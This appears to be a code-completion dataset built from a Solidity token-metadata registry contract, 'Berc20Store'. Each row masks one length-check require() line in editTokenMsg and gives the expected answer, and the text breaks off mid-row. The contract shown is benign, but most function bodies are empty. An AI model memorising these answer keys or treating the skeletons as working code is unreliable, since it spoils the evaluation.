}
}
| bytes(bannerUrl).length<=maxUrlLength,"Invalid bannerUrl length" | 418,973 | bytes(bannerUrl).length<=maxUrlLength |
"Invalid website length" | // SPDX-License-Identifier: MIT
//'########::'########:'########:::'######:::'#######::::'#####:::
//##.... ##: ##.....:: ##.... ##:'##... ##:'##.... ##::'##.. ##::
//##:::: ##: ##::::::: ##:::: ##: ##:::..::..::::: ##:'##:::: ##:
//########:: ######::: ########:: ##::::::::'#######:: ##:::: ##:
//##.... ##: ##...:::: ##.. ##::: ##:::::::'##:::::::: ##:::: ##:
//##:::: ##: ##::::::: ##::. ##:: ##::: ##: ##::::::::. ##:: ##::
//########:: ########: ##:::. ##:. ######:: #########::. #####:::
//........:::........::..:::::..:::......:::.........::::.....::::
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface BlackErc20 {
function getMintedCounts() external view returns (uint256);
function getAllContractTypes() external view returns (uint256[] memory);
}
contract Berc20Store is Ownable {
address public authorizedAddress;
uint256 public maxUrlLength = 50;
uint256 public maxTextLength = 100;
string public defaultLogo = "https://s1.ax1x.com/2023/06/18/pC1Sj1A.png";
string[] private forbiddenNames = ["btc", "eth", "usdt", "bnb", "usdc", "xrp", "steth", "ada", "doge", "sol", "trx", "ltc", "matic", "dot", "dai", "busd", "wbtc", "shiba","avax","uin","link","okb","atom","etc","tusd","ferc"];
address public devAddress;
uint256 public payPrice;
mapping(address => uint256) public oldTokenMintedNums;
//////////////////////////////////////////////////////////////////////
struct TokenInfo {
address tokenAddress;
string logo;
string name;
string symbol;
uint256 totalSupply;
uint256 maxMintCount;
uint256 maxMintPerAddress;
uint256 mintPrice;
address creator;
uint256 progress;
uint256[4] limits; // 0 - erc20，1 - erc721，2 - erc1155，3 - white list
}
struct TokenMsg {
string description;
string logoUrl;
string bannerUrl;
string website;
string twitter;
string telegram;
string discord;
string detailUrl;
}
struct Profile {
uint256 idx;
TokenMsg msg;
bytes32 wlRoot;
mapping(uint256=>uint256) params;
uint256 paramsCount;
mapping(uint256=>address) authContracts;
uint256 authContractsCount;
}
struct FoundTokenItem {
uint128 i;
uint128 progress;
}
//////////////////////////////////////////////////////////////////////
// tokens
mapping(uint256 => TokenInfo) public tokens; // (id=>token), NOTE: begin with 1, or 0 failed
uint256 public tokensCount;
// profile data for uesr
mapping(address => Profile) public tokenProfiles;
mapping(string => address) public tokenNames;
modifier onlyAuthorized() {
}
receive() external payable {}
//fallback() external payable {}
function createTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) external onlyAuthorized {
}
function addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) public onlyOwner {
}
/*
new search tokens
tokenType_:
0 - ALL;
1 - IN PROGRESS;
2 - END.
*/
function getTokensByPage(uint256 pageNo_, uint256 pageSize_, uint256 tokenType_, string memory tokenName_) external view
returns (uint256 allItems_, uint256 totalPages_, uint256 cnt_, TokenInfo[] memory recs_) {
}
// query by specified token name
function _queryTokenByName(string memory tokenName_) private view returns (uint256 cnt_, TokenInfo[] memory recs_) {
}
function calculateTokenProgress(address tokenAddress, uint256 maxMintCount) internal view returns (uint256) {
}
function getTokenBase(address tokenAddress) external view returns (TokenInfo memory tokenInfo,TokenMsg memory tokenMsg) {
}
function getTokenDetail(address tokenAddress) external view returns (TokenMsg memory tokenMsg, address[] memory tokenAuthContract, uint256[] memory tokenParam1) {
}
function editTokenMsg(
address tokenAddress,
string memory description,
string memory logoUrl,
string memory bannerUrl,
string memory website,
string memory twitter,
string memory telegram,
string memory discord,
string memory detailUrl
) external payable {
require(msg.value >= payPrice, "illegal price");
Profile storage p_ = tokenProfiles[tokenAddress];
require(p_.idx > 0, "Invalid Token Address");
TokenInfo storage tokenInfo = tokens[p_.idx-1];
require(tokenInfo.creator == msg.sender,"not permission");
require(bytes(description).length <= maxTextLength, "Invalid description length");
require(bytes(logoUrl).length <= maxUrlLength, "Invalid logoUrl length");
require(bytes(bannerUrl).length <= maxUrlLength, "Invalid bannerUrl length");
require(<FILL_ME>)
require(bytes(twitter).length <= maxUrlLength, "Invalid twitter length");
require(bytes(telegram).length <= maxUrlLength, "Invalid telegram length");
require(bytes(discord).length <= maxUrlLength, "Invalid discord length");
require(bytes(detailUrl).length <= maxUrlLength, "Invalid detailUrl length");
TokenMsg storage tokenMsg = p_.msg;
tokenMsg.description = description;
tokenMsg.logoUrl = logoUrl;
tokenMsg.bannerUrl = bannerUrl;
tokenMsg.website = website;
tokenMsg.twitter = twitter;
tokenMsg.telegram = telegram;
tokenMsg.discord = discord;
tokenMsg.detailUrl = detailUrl;
}
function _addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) private {
}
function isNameValid(string memory name) public view returns (bool) {
}
function _toLower(string memory str) private pure returns (string memory) {
}
// new set condition data
function _setConditionDataByStorage(TokenInfo storage token_, address addr_) private {
}
function _setConditionDataByMem(TokenInfo memory token_, address addr_) private view {
}
function addForbiddenName(string memory name) private onlyOwner{
}
function removeForbiddenName(string memory name) public onlyOwner {
}
function setUrlLength(uint256 urlLength) external onlyOwner{
}
function setTextLength(uint256 textLength) external onlyOwner{
}
function setAuthorizedAddress(address _address) external onlyOwner{
}
function setDefaultLogo(string memory logo) external onlyOwner{
}
function setDevAddress(address dev) external onlyOwner {
}
function devAward() external onlyOwner{
}
function setPayPrice(uint256 _payPrice) external onlyOwner{
}
function setOldTokenMintedNum(address tokenAddress, uint256 mintedNum) external onlyOwner {
}
}
| bytes(website).length<=maxUrlLength,"Invalid website length" | 418,973 | bytes(website).length<=maxUrlLength |
"Invalid twitter length" | // SPDX-License-Identifier: MIT
//'########::'########:'########:::'######:::'#######::::'#####:::
//##.... ##: ##.....:: ##.... ##:'##... ##:'##.... ##::'##.. ##::
//##:::: ##: ##::::::: ##:::: ##: ##:::..::..::::: ##:'##:::: ##:
//########:: ######::: ########:: ##::::::::'#######:: ##:::: ##:
//##.... ##: ##...:::: ##.. ##::: ##:::::::'##:::::::: ##:::: ##:
//##:::: ##: ##::::::: ##::. ##:: ##::: ##: ##::::::::. ##:: ##::
//########:: ########: ##:::. ##:. ######:: #########::. #####:::
//........:::........::..:::::..:::......:::.........::::.....::::
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface BlackErc20 {
function getMintedCounts() external view returns (uint256);
function getAllContractTypes() external view returns (uint256[] memory);
}
contract Berc20Store is Ownable {
address public authorizedAddress;
uint256 public maxUrlLength = 50;
uint256 public maxTextLength = 100;
string public defaultLogo = "https://s1.ax1x.com/2023/06/18/pC1Sj1A.png";
string[] private forbiddenNames = ["btc", "eth", "usdt", "bnb", "usdc", "xrp", "steth", "ada", "doge", "sol", "trx", "ltc", "matic", "dot", "dai", "busd", "wbtc", "shiba","avax","uin","link","okb","atom","etc","tusd","ferc"];
address public devAddress;
uint256 public payPrice;
mapping(address => uint256) public oldTokenMintedNums;
//////////////////////////////////////////////////////////////////////
struct TokenInfo {
address tokenAddress;
string logo;
string name;
string symbol;
uint256 totalSupply;
uint256 maxMintCount;
uint256 maxMintPerAddress;
uint256 mintPrice;
address creator;
uint256 progress;
uint256[4] limits; // 0 - erc20，1 - erc721，2 - erc1155，3 - white list
}
struct TokenMsg {
string description;
string logoUrl;
string bannerUrl;
string website;
string twitter;
string telegram;
string discord;
string detailUrl;
}
struct Profile {
uint256 idx;
TokenMsg msg;
bytes32 wlRoot;
mapping(uint256=>uint256) params;
uint256 paramsCount;
mapping(uint256=>address) authContracts;
uint256 authContractsCount;
}
struct FoundTokenItem {
uint128 i;
uint128 progress;
}
//////////////////////////////////////////////////////////////////////
// tokens
mapping(uint256 => TokenInfo) public tokens; // (id=>token), NOTE: begin with 1, or 0 failed
uint256 public tokensCount;
// profile data for uesr
mapping(address => Profile) public tokenProfiles;
mapping(string => address) public tokenNames;
modifier onlyAuthorized() {
}
receive() external payable {}
//fallback() external payable {}
function createTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) external onlyAuthorized {
}
function addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) public onlyOwner {
}
/*
new search tokens
tokenType_:
0 - ALL;
1 - IN PROGRESS;
2 - END.
*/
function getTokensByPage(uint256 pageNo_, uint256 pageSize_, uint256 tokenType_, string memory tokenName_) external view
returns (uint256 allItems_, uint256 totalPages_, uint256 cnt_, TokenInfo[] memory recs_) {
}
// query by specified token name
function _queryTokenByName(string memory tokenName_) private view returns (uint256 cnt_, TokenInfo[] memory recs_) {
}
function calculateTokenProgress(address tokenAddress, uint256 maxMintCount) internal view returns (uint256) {
}
function getTokenBase(address tokenAddress) external view returns (TokenInfo memory tokenInfo,TokenMsg memory tokenMsg) {
}
function getTokenDetail(address tokenAddress) external view returns (TokenMsg memory tokenMsg, address[] memory tokenAuthContract, uint256[] memory tokenParam1) {
}
function editTokenMsg(
address tokenAddress,
string memory description,
string memory logoUrl,
string memory bannerUrl,
string memory website,
string memory twitter,
string memory telegram,
string memory discord,
string memory detailUrl
) external payable {
require(msg.value >= payPrice, "illegal price");
Profile storage p_ = tokenProfiles[tokenAddress];
require(p_.idx > 0, "Invalid Token Address");
TokenInfo storage tokenInfo = tokens[p_.idx-1];
require(tokenInfo.creator == msg.sender,"not permission");
require(bytes(description).length <= maxTextLength, "Invalid description length");
require(bytes(logoUrl).length <= maxUrlLength, "Invalid logoUrl length");
require(bytes(bannerUrl).length <= maxUrlLength, "Invalid bannerUrl length");
require(bytes(website).length <= maxUrlLength, "Invalid website length");
require(<FILL_ME>)
require(bytes(telegram).length <= maxUrlLength, "Invalid telegram length");
require(bytes(discord).length <= maxUrlLength, "Invalid discord length");
require(bytes(detailUrl).length <= maxUrlLength, "Invalid detailUrl length");
TokenMsg storage tokenMsg = p_.msg;
tokenMsg.description = description;
tokenMsg.logoUrl = logoUrl;
tokenMsg.bannerUrl = bannerUrl;
tokenMsg.website = website;
tokenMsg.twitter = twitter;
tokenMsg.telegram = telegram;
tokenMsg.discord = discord;
tokenMsg.detailUrl = detailUrl;
}
function _addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) private {
}
function isNameValid(string memory name) public view returns (bool) {
}
function _toLower(string memory str) private pure returns (string memory) {
}
// new set condition data
function _setConditionDataByStorage(TokenInfo storage token_, address addr_) private {
}
function _setConditionDataByMem(TokenInfo memory token_, address addr_) private view {
}
function addForbiddenName(string memory name) private onlyOwner{
}
function removeForbiddenName(string memory name) public onlyOwner {
}
function setUrlLength(uint256 urlLength) external onlyOwner{
}
function setTextLength(uint256 textLength) external onlyOwner{
}
function setAuthorizedAddress(address _address) external onlyOwner{
}
function setDefaultLogo(string memory logo) external onlyOwner{
}
function setDevAddress(address dev) external onlyOwner {
}
function devAward() external onlyOwner{
}
function setPayPrice(uint256 _payPrice) external onlyOwner{
}
function setOldTokenMintedNum(address tokenAddress, uint256 mintedNum) external onlyOwner {
}
}
| bytes(twitter).length<=maxUrlLength,"Invalid twitter length" | 418,973 | bytes(twitter).length<=maxUrlLength |
"Invalid telegram length" | // SPDX-License-Identifier: MIT
//'########::'########:'########:::'######:::'#######::::'#####:::
//##.... ##: ##.....:: ##.... ##:'##... ##:'##.... ##::'##.. ##::
//##:::: ##: ##::::::: ##:::: ##: ##:::..::..::::: ##:'##:::: ##:
//########:: ######::: ########:: ##::::::::'#######:: ##:::: ##:
//##.... ##: ##...:::: ##.. ##::: ##:::::::'##:::::::: ##:::: ##:
//##:::: ##: ##::::::: ##::. ##:: ##::: ##: ##::::::::. ##:: ##::
//########:: ########: ##:::. ##:. ######:: #########::. #####:::
//........:::........::..:::::..:::......:::.........::::.....::::
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface BlackErc20 {
function getMintedCounts() external view returns (uint256);
function getAllContractTypes() external view returns (uint256[] memory);
}
contract Berc20Store is Ownable {
address public authorizedAddress;
uint256 public maxUrlLength = 50;
uint256 public maxTextLength = 100;
string public defaultLogo = "https://s1.ax1x.com/2023/06/18/pC1Sj1A.png";
string[] private forbiddenNames = ["btc", "eth", "usdt", "bnb", "usdc", "xrp", "steth", "ada", "doge", "sol", "trx", "ltc", "matic", "dot", "dai", "busd", "wbtc", "shiba","avax","uin","link","okb","atom","etc","tusd","ferc"];
address public devAddress;
uint256 public payPrice;
mapping(address => uint256) public oldTokenMintedNums;
//////////////////////////////////////////////////////////////////////
struct TokenInfo {
address tokenAddress;
string logo;
string name;
string symbol;
uint256 totalSupply;
uint256 maxMintCount;
uint256 maxMintPerAddress;
uint256 mintPrice;
address creator;
uint256 progress;
uint256[4] limits; // 0 - erc20，1 - erc721，2 - erc1155，3 - white list
}
struct TokenMsg {
string description;
string logoUrl;
string bannerUrl;
string website;
string twitter;
string telegram;
string discord;
string detailUrl;
}
struct Profile {
uint256 idx;
TokenMsg msg;
bytes32 wlRoot;
mapping(uint256=>uint256) params;
uint256 paramsCount;
mapping(uint256=>address) authContracts;
uint256 authContractsCount;
}
struct FoundTokenItem {
uint128 i;
uint128 progress;
}
//////////////////////////////////////////////////////////////////////
// tokens
mapping(uint256 => TokenInfo) public tokens; // (id=>token), NOTE: begin with 1, or 0 failed
uint256 public tokensCount;
// profile data for uesr
mapping(address => Profile) public tokenProfiles;
mapping(string => address) public tokenNames;
modifier onlyAuthorized() {
}
receive() external payable {}
//fallback() external payable {}
function createTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) external onlyAuthorized {
}
function addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) public onlyOwner {
}
/*
new search tokens
tokenType_:
0 - ALL;
1 - IN PROGRESS;
2 - END.
*/
function getTokensByPage(uint256 pageNo_, uint256 pageSize_, uint256 tokenType_, string memory tokenName_) external view
returns (uint256 allItems_, uint256 totalPages_, uint256 cnt_, TokenInfo[] memory recs_) {
}
// query by specified token name
function _queryTokenByName(string memory tokenName_) private view returns (uint256 cnt_, TokenInfo[] memory recs_) {
}
function calculateTokenProgress(address tokenAddress, uint256 maxMintCount) internal view returns (uint256) {
}
function getTokenBase(address tokenAddress) external view returns (TokenInfo memory tokenInfo,TokenMsg memory tokenMsg) {
}
function getTokenDetail(address tokenAddress) external view returns (TokenMsg memory tokenMsg, address[] memory tokenAuthContract, uint256[] memory tokenParam1) {
}
function editTokenMsg(
address tokenAddress,
string memory description,
string memory logoUrl,
string memory bannerUrl,
string memory website,
string memory twitter,
string memory telegram,
string memory discord,
string memory detailUrl
) external payable {
require(msg.value >= payPrice, "illegal price");
Profile storage p_ = tokenProfiles[tokenAddress];
require(p_.idx > 0, "Invalid Token Address");
TokenInfo storage tokenInfo = tokens[p_.idx-1];
require(tokenInfo.creator == msg.sender,"not permission");
require(bytes(description).length <= maxTextLength, "Invalid description length");
require(bytes(logoUrl).length <= maxUrlLength, "Invalid logoUrl length");
require(bytes(bannerUrl).length <= maxUrlLength, "Invalid bannerUrl length");
require(bytes(website).length <= maxUrlLength, "Invalid website length");
require(bytes(twitter).length <= maxUrlLength, "Invalid twitter length");
require(<FILL_ME>)
require(bytes(discord).length <= maxUrlLength, "Invalid discord length");
require(bytes(detailUrl).length <= maxUrlLength, "Invalid detailUrl length");
TokenMsg storage tokenMsg = p_.msg;
tokenMsg.description = description;
tokenMsg.logoUrl = logoUrl;
tokenMsg.bannerUrl = bannerUrl;
tokenMsg.website = website;
tokenMsg.twitter = twitter;
tokenMsg.telegram = telegram;
tokenMsg.discord = discord;
tokenMsg.detailUrl = detailUrl;
}
function _addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) private {
}
function isNameValid(string memory name) public view returns (bool) {
}
function _toLower(string memory str) private pure returns (string memory) {
}
// new set condition data
function _setConditionDataByStorage(TokenInfo storage token_, address addr_) private {
}
function _setConditionDataByMem(TokenInfo memory token_, address addr_) private view {
}
function addForbiddenName(string memory name) private onlyOwner{
}
function removeForbiddenName(string memory name) public onlyOwner {
}
function setUrlLength(uint256 urlLength) external onlyOwner{
}
function setTextLength(uint256 textLength) external onlyOwner{
}
function setAuthorizedAddress(address _address) external onlyOwner{
}
function setDefaultLogo(string memory logo) external onlyOwner{
}
function setDevAddress(address dev) external onlyOwner {
}
function devAward() external onlyOwner{
}
function setPayPrice(uint256 _payPrice) external onlyOwner{
}
function setOldTokenMintedNum(address tokenAddress, uint256 mintedNum) external onlyOwner {
}
}
| bytes(telegram).length<=maxUrlLength,"Invalid telegram length" | 418,973 | bytes(telegram).length<=maxUrlLength |
"Invalid discord length" | // SPDX-License-Identifier: MIT
//'########::'########:'########:::'######:::'#######::::'#####:::
//##.... ##: ##.....:: ##.... ##:'##... ##:'##.... ##::'##.. ##::
//##:::: ##: ##::::::: ##:::: ##: ##:::..::..::::: ##:'##:::: ##:
//########:: ######::: ########:: ##::::::::'#######:: ##:::: ##:
//##.... ##: ##...:::: ##.. ##::: ##:::::::'##:::::::: ##:::: ##:
//##:::: ##: ##::::::: ##::. ##:: ##::: ##: ##::::::::. ##:: ##::
//########:: ########: ##:::. ##:. ######:: #########::. #####:::
//........:::........::..:::::..:::......:::.........::::.....::::
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface BlackErc20 {
function getMintedCounts() external view returns (uint256);
function getAllContractTypes() external view returns (uint256[] memory);
}
contract Berc20Store is Ownable {
address public authorizedAddress;
uint256 public maxUrlLength = 50;
uint256 public maxTextLength = 100;
string public defaultLogo = "https://s1.ax1x.com/2023/06/18/pC1Sj1A.png";
string[] private forbiddenNames = ["btc", "eth", "usdt", "bnb", "usdc", "xrp", "steth", "ada", "doge", "sol", "trx", "ltc", "matic", "dot", "dai", "busd", "wbtc", "shiba","avax","uin","link","okb","atom","etc","tusd","ferc"];
address public devAddress;
uint256 public payPrice;
mapping(address => uint256) public oldTokenMintedNums;
//////////////////////////////////////////////////////////////////////
struct TokenInfo {
address tokenAddress;
string logo;
string name;
string symbol;
uint256 totalSupply;
uint256 maxMintCount;
uint256 maxMintPerAddress;
uint256 mintPrice;
address creator;
uint256 progress;
uint256[4] limits; // 0 - erc20，1 - erc721，2 - erc1155，3 - white list
}
struct TokenMsg {
string description;
string logoUrl;
string bannerUrl;
string website;
string twitter;
string telegram;
string discord;
string detailUrl;
}
struct Profile {
uint256 idx;
TokenMsg msg;
bytes32 wlRoot;
mapping(uint256=>uint256) params;
uint256 paramsCount;
mapping(uint256=>address) authContracts;
uint256 authContractsCount;
}
struct FoundTokenItem {
uint128 i;
uint128 progress;
}
//////////////////////////////////////////////////////////////////////
// tokens
mapping(uint256 => TokenInfo) public tokens; // (id=>token), NOTE: begin with 1, or 0 failed
uint256 public tokensCount;
// profile data for uesr
mapping(address => Profile) public tokenProfiles;
mapping(string => address) public tokenNames;
modifier onlyAuthorized() {
}
receive() external payable {}
//fallback() external payable {}
function createTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) external onlyAuthorized {
}
function addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) public onlyOwner {
}
/*
new search tokens
tokenType_:
0 - ALL;
1 - IN PROGRESS;
2 - END.
*/
function getTokensByPage(uint256 pageNo_, uint256 pageSize_, uint256 tokenType_, string memory tokenName_) external view
returns (uint256 allItems_, uint256 totalPages_, uint256 cnt_, TokenInfo[] memory recs_) {
}
// query by specified token name
function _queryTokenByName(string memory tokenName_) private view returns (uint256 cnt_, TokenInfo[] memory recs_) {
}
function calculateTokenProgress(address tokenAddress, uint256 maxMintCount) internal view returns (uint256) {
}
function getTokenBase(address tokenAddress) external view returns (TokenInfo memory tokenInfo,TokenMsg memory tokenMsg) {
}
function getTokenDetail(address tokenAddress) external view returns (TokenMsg memory tokenMsg, address[] memory tokenAuthContract, uint256[] memory tokenParam1) {
}
function editTokenMsg(
address tokenAddress,
string memory description,
string memory logoUrl,
string memory bannerUrl,
string memory website,
string memory twitter,
string memory telegram,
string memory discord,
string memory detailUrl
) external payable {
require(msg.value >= payPrice, "illegal price");
Profile storage p_ = tokenProfiles[tokenAddress];
require(p_.idx > 0, "Invalid Token Address");
TokenInfo storage tokenInfo = tokens[p_.idx-1];
require(tokenInfo.creator == msg.sender,"not permission");
require(bytes(description).length <= maxTextLength, "Invalid description length");
require(bytes(logoUrl).length <= maxUrlLength, "Invalid logoUrl length");
require(bytes(bannerUrl).length <= maxUrlLength, "Invalid bannerUrl length");
require(bytes(website).length <= maxUrlLength, "Invalid website length");
require(bytes(twitter).length <= maxUrlLength, "Invalid twitter length");
require(bytes(telegram).length <= maxUrlLength, "Invalid telegram length");
require(<FILL_ME>)
require(bytes(detailUrl).length <= maxUrlLength, "Invalid detailUrl length");
TokenMsg storage tokenMsg = p_.msg;
tokenMsg.description = description;
tokenMsg.logoUrl = logoUrl;
tokenMsg.bannerUrl = bannerUrl;
tokenMsg.website = website;
tokenMsg.twitter = twitter;
tokenMsg.telegram = telegram;
tokenMsg.discord = discord;
tokenMsg.detailUrl = detailUrl;
}
function _addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) private {
}
function isNameValid(string memory name) public view returns (bool) {
}
function _toLower(string memory str) private pure returns (string memory) {
}
// new set condition data
function _setConditionDataByStorage(TokenInfo storage token_, address addr_) private {
}
function _setConditionDataByMem(TokenInfo memory token_, address addr_) private view {
}
function addForbiddenName(string memory name) private onlyOwner{
}
function removeForbiddenName(string memory name) public onlyOwner {
}
function setUrlLength(uint256 urlLength) external onlyOwner{
}
function setTextLength(uint256 textLength) external onlyOwner{
}
function setAuthorizedAddress(address _address) external onlyOwner{
}
function setDefaultLogo(string memory logo) external onlyOwner{
}
function setDevAddress(address dev) external onlyOwner {
}
function devAward() external onlyOwner{
}
function setPayPrice(uint256 _payPrice) external onlyOwner{
}
function setOldTokenMintedNum(address tokenAddress, uint256 mintedNum) external onlyOwner {
}
}
| bytes(discord).length<=maxUrlLength,"Invalid discord length" | 418,973 | bytes(discord).length<=maxUrlLength |
"Invalid detailUrl length" | // SPDX-License-Identifier: MIT
//'########::'########:'########:::'######:::'#######::::'#####:::
//##.... ##: ##.....:: ##.... ##:'##... ##:'##.... ##::'##.. ##::
//##:::: ##: ##::::::: ##:::: ##: ##:::..::..::::: ##:'##:::: ##:
//########:: ######::: ########:: ##::::::::'#######:: ##:::: ##:
//##.... ##: ##...:::: ##.. ##::: ##:::::::'##:::::::: ##:::: ##:
//##:::: ##: ##::::::: ##::. ##:: ##::: ##: ##::::::::. ##:: ##::
//########:: ########: ##:::. ##:. ######:: #########::. #####:::
//........:::........::..:::::..:::......:::.........::::.....::::
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface BlackErc20 {
function getMintedCounts() external view returns (uint256);
function getAllContractTypes() external view returns (uint256[] memory);
}
contract Berc20Store is Ownable {
address public authorizedAddress;
uint256 public maxUrlLength = 50;
uint256 public maxTextLength = 100;
string public defaultLogo = "https://s1.ax1x.com/2023/06/18/pC1Sj1A.png";
string[] private forbiddenNames = ["btc", "eth", "usdt", "bnb", "usdc", "xrp", "steth", "ada", "doge", "sol", "trx", "ltc", "matic", "dot", "dai", "busd", "wbtc", "shiba","avax","uin","link","okb","atom","etc","tusd","ferc"];
address public devAddress;
uint256 public payPrice;
mapping(address => uint256) public oldTokenMintedNums;
//////////////////////////////////////////////////////////////////////
struct TokenInfo {
address tokenAddress;
string logo;
string name;
string symbol;
uint256 totalSupply;
uint256 maxMintCount;
uint256 maxMintPerAddress;
uint256 mintPrice;
address creator;
uint256 progress;
uint256[4] limits; // 0 - erc20，1 - erc721，2 - erc1155，3 - white list
}
struct TokenMsg {
string description;
string logoUrl;
string bannerUrl;
string website;
